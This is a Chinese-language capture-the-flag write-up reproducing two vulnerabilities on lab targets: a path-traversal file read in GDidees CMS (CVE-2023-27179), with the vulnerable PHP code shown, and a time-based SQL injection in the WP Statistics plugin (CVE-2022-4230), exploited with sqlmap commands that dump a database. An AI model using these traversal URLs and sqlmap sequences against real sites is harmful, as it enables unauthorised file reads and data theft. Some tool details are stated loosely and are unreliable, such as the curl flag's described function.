CVE-2023-27179
靶标介绍:
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。攻击者可以通过向 filename 参数传递恶意输入来下载服务器上的任意文件。
提示有本地文件泄露,且位于 /_admin/imgdownload.php,参数是filename
所以可以构造: /_admin/imgdownload.php?filename=../../../../../flag
../可以遍历目录,最终查找flag
得到的是png文件,用笔记本编辑打开就可以得到flag
漏洞的根源在于对用户输入的 filename 参数处理不当。攻击者可以利用这一点,通过精心构造的 URL 来强制应用程序下载服务器上的任意文件。
但在其他师傅的复现是png文件下载后并不能够读取文件内容,用到curl工具
curl -l 命令可以自动重定向,并且获得最终结果,相当于读取页面的内容
可以构造: curl -l "http://eci-2ze9r318c46efrvteo4m.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../../flag"
同样可以得到flag
通过查找可以搜到漏洞产生的原理(查找的源代码):
<?php
$filename = $_GET['filename'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($filename));
header('Content-Transfer-Encoding: binary');
header('Expires: ');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filename));
ob_clean();
flush();
readfile($filename);
exit;
?>
定义了一个参数filename,传给函数readfile,但是对所传入的参数没有限制,形成本地文件包含漏洞
readfile() 函数读取一个文件,并写入到输出缓冲。
如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。
因此可以通过目录遍历对文件进行读取。
CVE-2022-4230
靶标介绍:
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
WP,即WordPress。WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。
一上来在初始界面什么都没有,进行目录扫描
用dirseach可以扫出readme.html,由于返回状态码500的太多了,还是建议在扫描时加上状态码限制,
-i 200
可以:dirseach -u http://eci-2zec8sasoqvoyti2yefx.cloudeci1.ichunqiu.com
-i 200
-i 只显示该状态码
-x 不显示该状态码
得到扫描结果后就可以访问
全是英语,看不懂没关系,直接翻译一下
可以看到登录界面,login page,点击后进入登录界面
呃,数据库连接失败,看了其他师傅的,该页面确实是登录界面,可能是环境问题。
进行抓包分析
状态码返回500,服务器错误状态码,确实是环境问题,重新打开新环境
重新打开环境后来到了登录框界面,注意观察:返回到test,那么test是什么的,这里猜测是用户名,他的意思就是返回test这个用户
点击后回到了初始界面
那么使用test进行登录看看,经过测试后密码也是为test
成功登录到该用户
根据描述WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。
进行搜索
wordpress是一个非常灵活方便的CMS系统,它拥有着非常灵活的API处理机制(REST API)WordPress REST API为应用程序提供了一个接口,通过发送和接收JSON(JavaScript Object Notation)对象形式的数据,与WordPress站点进行交互。它是WordPress块编辑器的基础,同样可以使主题,插件或自定义应用程序呈现新的,强大的界面,用于管理和发布网站内容。
Wordpress自己重写了路由规则,通过/wp-json/开头对内部的插件,主题等等进行访问,不过通过REST API来访问,每次都给发送一个
_wpnonce
来进行认证。wpscan平台是专门针对wordpress的漏洞平台.
进行访问:
http://eci-2zef9bcht3lovzp854ng.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce
拿到我们的_wpnonce(随机数)
/wp-json/wp-statistics/v2/metabox?_wpnonce=e2c79c51d3&name=words&search_engine=aaa
得到如下界面
进行SQL注入,从wpscan平台可以得知是时间盲注
构造:
进行验证,在5秒钟之后才回显,存在SQL注入的时间盲注漏洞,用sqlmap跑
抓包,把get请求的内容复制到5.txt文件中
命令: sqlmap -r 5.txt --batch --dbs
可以看到扫出来了四个库,注重wordpress这个库
接着获取该数据库的表名
sqlmap -r 5.txt --batch -D wordpress --tables
可以看到flag这个表,爆表的字段
sqlmap -r 5.txt --batch -D wordpress -T flag --columns
字段flag,获取字段的内容
sqlmap -r 5.txt --batch -D wordpress -T flag -C flag --dump
版权归原作者 小丑皇,王中王 所有, 如有侵权,请联系我们删除。